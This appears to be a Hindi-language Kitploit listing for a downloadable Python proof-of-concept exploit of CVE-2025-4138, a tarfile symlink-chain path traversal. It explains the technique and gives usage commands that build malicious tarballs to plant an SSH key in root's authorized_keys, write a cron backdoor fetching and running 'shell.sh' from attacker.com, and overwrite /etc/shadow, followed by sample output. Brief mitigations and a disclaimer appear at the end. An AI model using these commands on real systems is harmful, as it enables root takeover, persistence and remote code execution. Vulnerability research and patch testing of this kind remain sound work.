Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-4138-POC — CVE-2025-4138 के लिए Python PoC, Python के tarfile मॉड्यूल में एक पाथ ट्रैवर्सल, जो PATH_MAX को बायपास करके मनमानी फ़ाइल लिखने के लिए सिमलिंक श्रृंखलाओं का दुरुपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

CVE-2025-4138 के लिए Python PoC, Python के tarfile मॉड्यूल में एक पाथ ट्रैवर्सल, जो PATH_MAX को बायपास करके मनमानी फ़ाइल लिखने के लिए सिमलिंक श्रृंखलाओं का दुरुपयोग करता है।

रिपॉजिटरी देखें
16 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-4138 - Python tarfile PATH_MAX बाईपास PoC

लेखक: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

अवलोकन

CVE-2025-4138 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Python के tarfile मॉड्यूल में एक पाथ ट्रैवर्सल भेद्यता है। यह भेद्यता एक हमलावर को एक दुर्भावनापूर्ण tar संग्रह तैयार करने की अनुमति देती है जो इच्छित निष्कर्षण निर्देशिका के बाहर मनमाने स्थानों पर फ़ाइलें लिखती है, सिमलिंक श्रृंखलाओं का दुरुपयोग करके PATH_MAX से अधिक हो जाता है।

भेद्यता विवरण

फ़ील्डमान
CVE IDCVE-2025-4138
घटकPython tarfile मॉड्यूल
प्रकारपाथ ट्रैवर्सल (CWE-22)
वेक्टरसिमलिंक श्रृंखला + PATH_MAX बाईपास
प्रभावनिष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल लेखन

यह कैसे काम करता है

यह एक्सप्लॉइट चार चरणों में काम करता है:

  1. Path Inflation -- गहराई से नेस्टेड निर्देशिकाओं और सिमलिंक की एक श्रृंखला बनाई जाती है ताकि पूर्ण रूप से हल किया गया पथ कर्नेल की PATH_MAX सीमा (Linux पर 4096 बाइट्स) से अधिक हो जाए।

  2. Pivot Symlink -- एक सिमलिंक जोड़ा जाता है जिसका हल किया गया पथ PATH_MAX सीमा को पार कर जाता है। क्योंकि पथ हल करने के लिए बहुत लंबा है, Python के tarfile सुरक्षा जाँच (जो os.path.realpath() पर निर्भर करती हैं) चुपचाप विफल हो जाती हैं और सत्यापन छोड़ देती हैं।

  3. Escape Symlink -- एक दूसरा सिमलिंक पिवट के माध्यम से ../ ट्रैवर्सल का उपयोग करके निष्कर्षण निर्देशिका से पूरी तरह बाहर निकल जाता है और फाइलसिस्टम पर हमलावर-नियंत्रित निरपेक्ष पथ की ओर इंगित करता है।

  4. Payload Drop -- एस्केप सिमलिंक के माध्यम से एक नियमित फ़ाइल लिखी जाती है, जो हमलावर-नियंत्रित सामग्री और अनुमतियों के साथ लक्ष्य पथ पर पहुँचती है।

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

स्थापना

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

कोई बाहरी निर्भरता आवश्यक नहीं है -- एक्सप्लॉइट केवल Python 3 मानक पुस्तकालय मॉड्यूल का उपयोग करता है।

उपयोग

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

विकल्प

फ़्लैगविवरण
-o, --outputआउटपुट टारबॉल पथ (डिफ़ॉल्ट: exploit.tar)
-t, --targetलक्ष्य पर लिखी जाने वाली फ़ाइल का निरपेक्ष पथ (डिफ़ॉल्ट: /root/.ssh/authorized_keys)
-p, --payloadउस फ़ाइल का पथ जिसकी सामग्री पेलोड बन जाती है
-s, --payload-stringपेलोड के रूप में एक शाब्दिक स्ट्रिंग का उपयोग करें
-k, --ssh-keySSH सार्वजनिक कुंजी फ़ाइल का पथ
-m, --modeअष्टक (octal) में फ़ाइल अनुमति मोड (डिफ़ॉल्ट: 0600)
-d, --depthनिर्देशिका ट्रैवर्सल गहराई (डिफ़ॉल्ट: 8)
-v, --verifyनिर्माण के बाद टारबॉल सामग्री डंप करें
-q, --quietबैनर दबाएँ

उदाहरण

रूट के authorized_keys में एक SSH सार्वजनिक कुंजी लिखें:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

पर्सिस्टेंस के लिए एक क्रॉन जॉब लिखें:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

स्थानीय फ़ाइल से मनमाना फ़ाइल सामग्री लिखें:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

आउटपुट

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

शमन

  • Python को पैच किए गए संस्करण में अपग्रेड करें जब एक फिक्स जारी हो।
  • tarfile.data_filter (Python 3.12+) का उपयोग करें जो सख्त निष्कर्षण नियंत्रण प्रदान करता है।
  • अविश्वसनीय tar संग्रहों को कभी भी रूट के रूप में या संवेदनशील निर्देशिकाओं में न निकालें।
  • --strip-components का उपयोग करें या निष्कर्षण से पहले संग्रह सामग्री को सत्यापित करें।
  • फाइलसिस्टम-स्तरीय सुरक्षा लागू करें जैसे सिमलिंक फॉलोइंग को प्रतिबंधित करना (fs.protected_symlinks)।

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। जिन सिस्टमों के आप स्वामी नहीं हैं, उनके विरुद्ध परीक्षण करने से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।


d3vn0mi | GitHub

टूल डाउनलोड करें